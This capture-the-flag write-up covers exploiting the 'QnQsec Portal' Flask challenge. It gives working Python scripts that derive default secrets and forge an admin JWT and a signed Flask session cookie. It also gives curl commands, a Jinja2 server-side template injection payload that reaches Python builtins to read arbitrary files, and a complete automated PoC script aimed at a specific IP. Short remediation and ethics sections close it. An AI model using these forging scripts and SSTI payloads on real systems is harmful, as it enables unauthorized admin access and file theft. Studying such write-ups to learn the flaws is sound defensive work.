>QnQsec Portal
Challenge: QnQsec portal URL: http://161.97.155.116:5001/ Challenge hint: "The reflection is mine, but the soul feels borrowed"
>Summary
This writeup documents a full, authorized exploitation of the QnQsec Portal web application. The vulnerability chain used:
- Predictable secret derivation (defaults) used to sign Flask session and JWTs.
- Forged Flask session cookie to impersonate
Flaguser. - Forged
admin_jwtsigned with derived JWT secret (HS256) to emulate admin JWT. - Admin-only template renderer (Jinja2) accessible with the above authentication.
- Server-Side Template Injection (SSTI) in the admin renderer allowed calling Python builtins and reading the flag file.
The final flag extracted was:
QnQsec{b4efafeb4bd43c404e425ea6d664a0f6}
All steps below assume explicit authorization to test this host was given.
>Recon & initial observations
- Server: Werkzeug/Flask (Werkzeug/3.1.3 on Python 3.12)
- Routes discovered via GET:
/,/login,/sign_up,/account,/admin(admin discovered later) - Local repo contains
app.pywhich reveals secret derivation and login/session logic.
Key excerpts from app.py:
base = os.environ.get("Q_SECRET", "qnqsec-default")
app.config['SECRET_KEY'] = hashlib.sha1(("pepper:" + base).encode()).hexdigest()
app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdigest()This indicates both SECRET_KEY and JWT_SECRET are deterministic when Q_SECRET is not set (default qnqsec-default). This allowed forging both session cookies and JWTs.
login() sets two cookies on success:
- Flask session cookie (HttpOnly)
admin_jwtcookie (httponly=False in this app) containing a JWT created bygenerate_jwtin the admin blueprint
/account checks the Flask session['user'] and shows admin UI if the user equals 'Flag'.
>Step 1 — Create a throwaway user (optional / reconnaissance)
We create a throwaway user to see cookie format and behavior. Example curl commands used during the test (safe, non-destructive):
# Create test user
curl -sS -c /tmp/cookies.txt -d "username=testuser&password=testpass" -X POST http://161.97.155.116:5001/sign_up -L -i
# Login as test user to capture admin_jwt and session cookie
curl -sS -i -b /tmp/cookies.txt -c /tmp/cookies2.txt -d "username=testuser&password=testpass" -X POST http://161.97.155.116:5001/login -LInspect /tmp/cookies2.txt to view the admin_jwt cookie and session cookie.
>Step 2 — Forge a valid admin JWT
Because app.py derives the JWT secret as sha256("jwtpepper:" + base), when Q_SECRET is the default qnqsec-default we can derive the same secret.
Python snippet to create an admin JWT (HS256):
# forge_admin_jwt.py
import jwt, hashlib, time
base = 'qnqsec-default'
secret = hashlib.sha256(('jwtpepper:' + base).encode()).hexdigest()
payload = {
'sub': 'Flag',
'role': 'admin',
'iat': int(time.time()),
'exp': int(time.time()) + 3600
}
admin_token = jwt.encode(payload, secret, algorithm='HS256')
print(admin_token)This will print a valid admin JWT for the server when run locally.
>Step 3 — Forge a Flask session cookie with user 'Flag'
The Flask SECRET_KEY is sha1("pepper:" + base). We can generate a valid signed session cookie that sets user to Flag.
A simple script using Flask internals produced the cookie used in the exploit:
# forge_flask_session.py
from flask import Flask
import hashlib
base = 'qnqsec-default'
secret_key = hashlib.sha1(('pepper:' + base).encode()).hexdigest()
app = Flask(__name__)
app.secret_key = secret_key
with app.test_request_context():
from flask.sessions import SecureCookieSessionInterface
s = SecureCookieSessionInterface().get_signing_serializer(app)
cookie_val = s.dumps({'user': 'Flag'})
print(cookie_val)Running that prints a cookie value like eyJ1c2VyIjoiRmxhZyJ9.aPGtOg.GV9MVx59... which, when set as the session cookie on requests to the target, makes /account render the admin UI.
>Step 4 — Access admin renderer (combine cookies)
To reach the admin renderer we need both the forged Flask session cookie (user=Flag) and a valid admin_jwt (signed with the derived JWT secret). Example curl:
# Replace COOKIE_SESSION and ADMIN_JWT with the values you produced
curl -i -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" http://161.97.155.116:5001/adminThe admin page contains a template renderer form that accepts a template POST parameter and renders it server-side.
>Step 5 — Confirm SSTI (non-destructive test)
Submit a small Jinja expression to verify evaluation:
curl -sS -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" -d "template={{7*7}}" http://161.97.155.116:5001/admin
# Response body: 49This confirms the admin renderer evaluates Jinja2 templates.
>Step 6 — Escalate SSTI to read the flag
We used a technique to reach Python builtins from within Jinja2. The renderer allowed us to inspect the Jinja TemplateReference class and from there access __globals__ which holds __builtins__. Using open(...) from builtins we read the file at /app/secret/flag.txt (the application workdir was /app when probed).
The key exploit template used was:
{{''.__class__.__mro__[1].__subclasses__()[501].__init__.__globals__['__builtins__']['open']('/app/secret/flag.txt').read()}}
- Explanation:
''.__class__.__mro__[1].__subclasses__()gets a list of Python internal subclasses; the TemplateReference class was found at index 501 in the target environment. We then access its__init__function__globals__, and fetch Python's__builtins__entry. The builtinopenallows reading arbitrary files.
Example curl (replace cookies):
curl -sS -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" -d "template={{''.__class__.__mro__[1].__subclasses__()[501].__init__.__globals__['__builtins__']['open']('/app/secret/flag.txt').read()}}" http://161.97.155.116:5001/adminResponse contained the flag:
QnQsec{b4efafeb4bd43c404e425ea6d664a0f6}
>Repro script (automated PoC)
Below is a minimal Python script that demonstrates the steps to (re)produce the exploit end-to-end (authorized testing only). It:
- Generates admin JWT and signed Flask session cookie from default secrets
- Posts to admin renderer to extract flag
# poc_exploit.py
import hashlib, time, jwt, requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
# Configuration (default base used by target)
BASE = 'qnqsec-default'
TARGET = 'http://161.97.155.116:5001'
# Create admin_jwt
jwt_secret = hashlib.sha256(('jwtpepper:' + BASE).encode()).hexdigest()
admin_payload = {'sub': 'Flag', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 3600}
admin_jwt = jwt.encode(admin_payload, jwt_secret, algorithm='HS256')
# Create Flask signed session cookie
secret_key = hashlib.sha1(('pepper:' + BASE).encode()).hexdigest()
app = Flask(__name__)
app.secret_key = secret_key
with app.test_request_context():
s = SecureCookieSessionInterface().get_signing_serializer(app)
session_cookie = s.dumps({'user': 'Flag'})
cookies = {'session': session_cookie, 'admin_jwt': admin_jwt}
# SSTI payload to read flag
payload = "{{''.__class__.__mro__[1].__subclasses__()[501].__init__.__globals__['__builtins__']['open']('/app/secret/flag.txt').read()}}"
r = requests.post(TARGET + '/admin', data={'template': payload}, cookies=cookies, timeout=10)
print('HTTP', r.status_code)
print(r.text)Run (authorized):
python3 poc_exploit.py>Findings / Vulnerabilities
- Insecure default secrets (predictable/derivable Q_SECRET)
- JWT secret derivation from predictable base — allows forging admin_jwt
- Flask SECRET_KEY derivation from predictable base — allows forge of session cookies
admin_jwtcookie is not HttpOnly — exposing it unnecessarily- Admin-only template renderer executing untrusted input (Jinja2 SSTI)
Each of these weaknesses compounded into a complete compromise.
>Remediation (high priority)
- Require a random, strong environment secret for
Q_SECRETand do not use weak defaults in production. - Rotate secrets and ensure
SECRET_KEYand JWT secrets are independently strong. - Set
admin_jwtcookie withHttpOnly=Trueto prevent theft via XSS. - Remove or heavily restrict the admin template renderer. If rendering templates from users is needed, use a fully isolated sandbox that does not expose Python internals, or render only with very strict whitelisting and no expression evaluation.
- Audit all code for uses of eval-like features and template rendering of user input.
>Notes & ethical considerations
- This writeup contains exact payloads and scripts used to extract the flag. Only perform these steps against hosts you are explicitly authorized to test.
- If you intend to report this vulnerability, redact precise payloads or the flag from any public report and provide reproductions only to the asset owner or on an authorized channel.
>Appendix — Useful snippets
- Derive secrets (python):
import hashlib
BASE = 'qnqsec-default'
secret_key = hashlib.sha1(('pepper:' + BASE).encode()).hexdigest()
jwt_secret = hashlib.sha256(('jwtpepper:' + BASE).encode()).hexdigest()
print(secret_key)
print(jwt_secret)- Quick SSTI test (curl):
curl -sS -b "session=COOKIE_SESSION; admin_jwt=ADMIN_JWT" -d "template={{7*7}}" http://161.97.155.116:5001/admin